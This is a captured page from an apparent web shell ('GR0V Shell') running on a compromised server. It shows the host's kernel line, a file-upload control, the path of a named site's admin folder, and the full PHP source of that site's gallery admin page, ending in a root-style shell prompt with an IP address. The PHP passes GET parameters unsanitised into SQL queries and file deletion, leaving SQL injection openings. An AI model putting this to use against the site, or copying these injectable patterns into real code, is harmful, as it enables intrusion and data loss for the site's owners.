? GR0V Shell

GR0V shell

Linux node1.dnscloudserver.in 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64

Path : /home/yogsadhna/public_html/admin/
File Upload :
Current File : /home/yogsadhna/public_html/admin/all-gallery.php

<?php
include('includes/connection.php');
include('includes/allfunction.php');

include('includes/auth.php');

error_reporting(0);



if(isset($_GET['delid']))
{

  $delid=$_GET['delid'];

  $getimage="select * from gallery where id=$delid";
  $result=mysqli_query($conn,$getimage);
  $data=mysqli_fetch_array($result);
 
  $path='uploads/'.$data['image'];
  @unlink($path);

	$delresult=deletedata('gallery',$_GET['delid']);
	header('location:all-gallery');
}

?>


<!DOCTYPE html>
<html lang="en">
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>All Events</title>
    <!-- plugins:css -->
	
    <?php include_once('includes/css.php'); ?>
	
  </head>
  <body>
    <div class="container-scroller">
      
      <!-- partial:partials/_navbar.html -->
      
     <?php include_once('includes/header.php'); ?>

      <!-- partial -->
      <div class="container-fluid page-body-wrapper">
        <!-- partial:partials/_sidebar.html -->
        
         <?php include_once('includes/sidebar.php'); ?>

        <!-- partial -->
        <div class="main-panel">
          <div class="content-wrapper">
           
            
           <div class="col-12 grid-margin stretch-card">
                <div class="card">
                  <div class="card-body">
                    <h4 class="card-title">All Events</h4>
                    <p>
                    </p>
                    <table class="table table-hover">
                      <thead>
                        <tr>
                          <th>Sr.no</th>
                          <th>Image</th>
                          <th>Status</th>
                          <th>Added Date</th>
                          <th>Modified Date</th>
                          <th>Edit</th>
                          <th>Delete</th>
                        </tr>
                      </thead>
                      <tbody>

                     
<?php 

$limit=6;

if(isset($_GET['pageid']))
{
    $pagenumber=$_GET['pageid'];
    $start=($pagenumber-1)*$limit;

  $sql="select * from gallery limit $start,$limit";
  $result=mysqli_query($conn,$sql);
}

else
{
  $start=0;

$sql="select * from gallery limit $start,$limit";
$result=mysqli_query($conn,$sql);
}

$i=1;
while($data=mysqli_fetch_array($result))

                        { ?>

                        <tr>
                          <td><?php echo $i; ?></td>
                          <td><img src="uploads/<?php echo $data['image'];?>" style="height:80px; width:auto; border-radius:0;"></td>

                          <td> 
                          <?php 
						  if($data['status']==1)
						  {?>
						   <label class="badge badge-success">Active</label>
						  <?php } else{?>
						  <label class="badge badge-danger">Inactive</label>
					  <?php } ?>
                          </td>

                          <td><?php echo $data['added_date'];?></td>

                          <td><?php echo $data['modified_date'];?></td>

                          <td>
						 
						 <a class="btn btn-primary btn-sm" href="edit-gallery?editid=<?php echo $data['id'];?>">Edit</a></td>
             <td>
						 <a class="btn btn-danger btn-sm" href="all-gallery?delid=<?php echo $data['id'];?>" onclick="return confirm('Do you want to delete this data')">Delete</a>
						 
						  </td>
                        </tr>
                        
                        <?php $i++; } ?>

                      </tbody>
                    </table>
<br>
                    <ul class="pagination justify-content-center">
<?php if($pagenumber>1)
{?>
<li class="page-item"><a class="page-link" href="all-gallery.php?pageid=<?php echo $pagenumber-1; ?>">Previous</a></li>
<?php } ?>                   
                    <?php

                    $sqll="select * from gallery";
                    $resultl=mysqli_query($conn,$sqll);

                    $count=mysqli_num_rows($resultl);

                    $total=ceil($count/$limit);

                    for($i=1; $i<=$total; $i++)
                    {

if($pagenumber==$i)
{
?>

<li class="page-item active"><a class="page-link" href="all-gallery.php?pageid=<?php echo $i; ?>"><?php echo $i; ?></a></li>
<?php } else {?>

  <li class="page-item"><a class="page-link" href="all-gallery.php?pageid=<?php echo $i; ?>"><?php echo $i; ?></a></li>

<?php } } ?>

<?php 
if($pagenumber!=$total)
{?>
<li class="page-item"><a class="page-link" href="all-gallery.php?pageid=<?php echo $pagenumber+1; ?>">Next</a></li>
<?php } ?>

</ul>

                  </div>
                </div>
              </div>
           
          </div>
          <!-- content-wrapper ends -->
          <!-- partial:partials/_footer.html -->

           <?php include_once('includes/footer.php'); ?>

          <!-- partial -->
        </div>
        <!-- main-panel ends -->
      </div>
      <!-- page-body-wrapper ends -->
    </div>
    <!-- container-scroller -->
    <!-- plugins:js -->
   
    <?php include_once('includes/script.php') ?>

    <!-- End custom js for this page -->
  </body>
</html>

T1KUS90T
  root-grov@65.21.25.53:~$